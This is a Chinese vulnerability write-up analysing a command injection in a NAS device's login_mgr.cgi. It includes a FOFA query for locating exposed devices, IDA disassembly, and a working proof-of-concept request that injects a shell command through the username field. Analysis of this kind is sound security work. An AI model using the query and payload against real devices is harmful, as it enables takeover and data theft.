漏洞简介
西部数码NAS(网络附加存储)是西部数码提供的存储解决方案,旨在为用户提供便捷的文件存储、备份和共享服务。
西部数码NAS的login_mgr.cgi脚本存在多处命令执行漏洞。该脚本在处理SNMP管理相关请求时,可能由于未对用户输入进行充分的过滤和验证,直接将用户提供的参数传递给系统命令执行函数或拼接进命令执行语句里。攻击者可以通过构造恶意的请求参数,注入操作系统命令,从而在服务器上执行任意命令。
该漏洞可能导致攻击者完全控制NAS服务器,窃取存储在NAS上的敏感数据,篡改文件,植入恶意软件,甚至将NAS作为跳板攻击内网其他系统,对用户的数据安全和网络安全造成严重威胁。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
漏洞分析
直接用 IDA 加载 login_mgr.cgi 文件后,搜索进入漏洞点

如果cmd=wd_login 就跳转进入loc_B448

继续跟进 sub_A1E0
sub_A1E0
var_10FC= -0x10FC
var_10F8= -0x10F8
var_10F4= -0x10F4
var_10F0= -0x10F0
var_10EC= -0x10EC
var_10E8= -0x10E8
var_10E4= -0x10E4
var_10E0= -0x10E0
var_10DC= -0x10DC
var_10A8= -0x10A8
var_ED8= -0xED8
var_CE0= -0xCE0
var_AE0= -0xAE0
var_8E0= -0x8E0
var_8D8= -0x8D8
var_6E0= -0x6E0
var_6D8= -0x6D8
var_4E0= -0x4E0
var_4D8= -0x4D8
var_2E0= -0x2E0
var_100= -0x100
var_C0= -0xC0
var_80= -0x80
var_40= -0x40
PUSH {R4-R11,LR}
SUB SP, SP, #0x10C0
SUB SP, SP, #0x1C
MOV R5, #0
ADD R3, SP, #0x1100+var_100
ADD R0, SP, #0x1100+var_100
STR R5, [R3,#0xA8]
STR R5, [R3,#0xAC]
STR R5, [R3,#0xB0]
STR R5, [R3,#0xB4]
STR R5, [R3,#0xB8]
STR R5, [R3,#0xBC]
STR R5, [R3,#0xC0]
STR R5, [R3,#0xC4]
STR R5, [R3,#0x88]
STR R5, [R3,#0x8C]
STR R5, [R3,#0x90]
STR R5, [R3,#0x94]
STR R5, [R3,#0x98]
STR R5, [R3,#0x9C]
STR R5, [R3,#0xA0]
STR R5, [R3,#0xA4]
MOV R1, R5 ; c
MOV R2, #0x40 ; '@' ; n
ADD R0, R0, #0x28 ; '(' ; s
BL memset
ADD R8, SP, #0x1100+var_4E0
ADD R12, SP, #0x1100+var_100
ADD R0, SP, #0x1100+var_2E0
STR R5, [R12,#0xD0]
STR R5, [R12,#0xD4]
STR R5, [R12,#0xC8]
STR R5, [R12,#0xCC]
MOV R1, R5 ; c
MOV R2, #0x200 ; n
ADD R8, R8, #8
ADD R0, R0, #8 ; s
ADD R10, SP, #0x1100+var_6E0
BL memset
ADD R10, R10, #8
MOV R1, R5 ; c
MOV R2, #0x200 ; n
MOV R0, R8 ; s
ADD R9, SP, #0x1100+var_8E0
BL memset
ADD R9, R9, #8
MOV R1, R5 ; c
MOV R2, #0x200 ; n
MOV R0, R10 ; s
BL memset
MOV R1, R5 ; c
MOV R2, #0x200 ; n
MOV R0, R9 ; s
BL memset
ADD R0, SP, #0x1100+var_AE0
MOV R1, R5 ; c
MOV R2, #0x200 ; n
ADD R0, R0, #8 ; s
BL memset
ADD R0, SP, #0x1100+var_CE0
MOV R1, R5 ; c
MOV R2, #0x200 ; n
ADD R11, SP, #0x1100+var_ED8
ADD R0, R0, #8 ; s
ADD R7, SP, #0x1100+var_10A8
BL memset
SUB R7, R7, #0x30 ; '0'
MOV R1, R5 ; c
MOV R2, #0x200 ; n
MOV R0, R11 ; s
BL memset
MOV R2, #0x200 ; n
MOV R1, R5 ; c
MOV R0, R7 ; s
BL memset
ADD R1, SP, #0x1100+var_100
STR R5, [R1,#0x68]
STR R5, [R1,#0x6C]
STR R5, [R1,#0x70]
STR R5, [R1,#0x74]
STR R5, [R1,#0x78]
STR R5, [R1,#0x7C]
STR R5, [R1,#0x80]
STR R5, [R1,#0x84]
MOV R0, R5 ; timer
BL time
ADD R4, SP, #0x1100+var_80
ADD R1, SP, #0x1100+var_80
ADD R4, R4, #8
ADD R1, R1, #0x28 ; '('
MOV R2, #0x20 ; ' '
STR R0, [SP,#0x1100+var_10F4]
LDR R0, =aUsername ; "username"
BL cgiFormString
MOV R2, #0x20 ; ' '
MOV R1, R4
LDR R0, =aPwd ; "pwd"
BL cgiFormString
ADD R0, SP, #0x1100+var_100
ADD R0, R0, #0x28 ; '(' ; u_char *
MOV R1, R4 ; char *
MOV R2, #0x20 ; ' '
BL sub_BD60
ADD R0, SP, #0x1100+var_80
ADD R0, R0, #0x28 ; '(' ; s
MOV R1, #0x5C ; '\' ; c
BL index
CMP R0, #0
BEQ loc_AB38
在 0xA388 处检查 username 是否包含 \ 字符。如果包含,则取 \ 之后的部分作为待拼接的字符串(R2 寄存器)。随后,在 0xA3A4 处,该字符串被 sprintf 函数直接格式化到 net ads search -P '(... sAMAccountName=%s ...)' 命令字符串中。


最终拼接成的完整命令字符串,在 0xA3B4 处被传递给 popen 函数执行。popen 会创建一个新的 shell 进程来执行该命令。
漏洞复现

POST /cgi-bin/login_mgr.cgi HTTP/1.1
Host: west-nas.mrxn.net
Content-Type: application/x-www-form-urlencoded
cmd=wd_login&username=\admin'$(id>/var/www/t.png)'&pwd=123456

成功执行id命令并写入文件






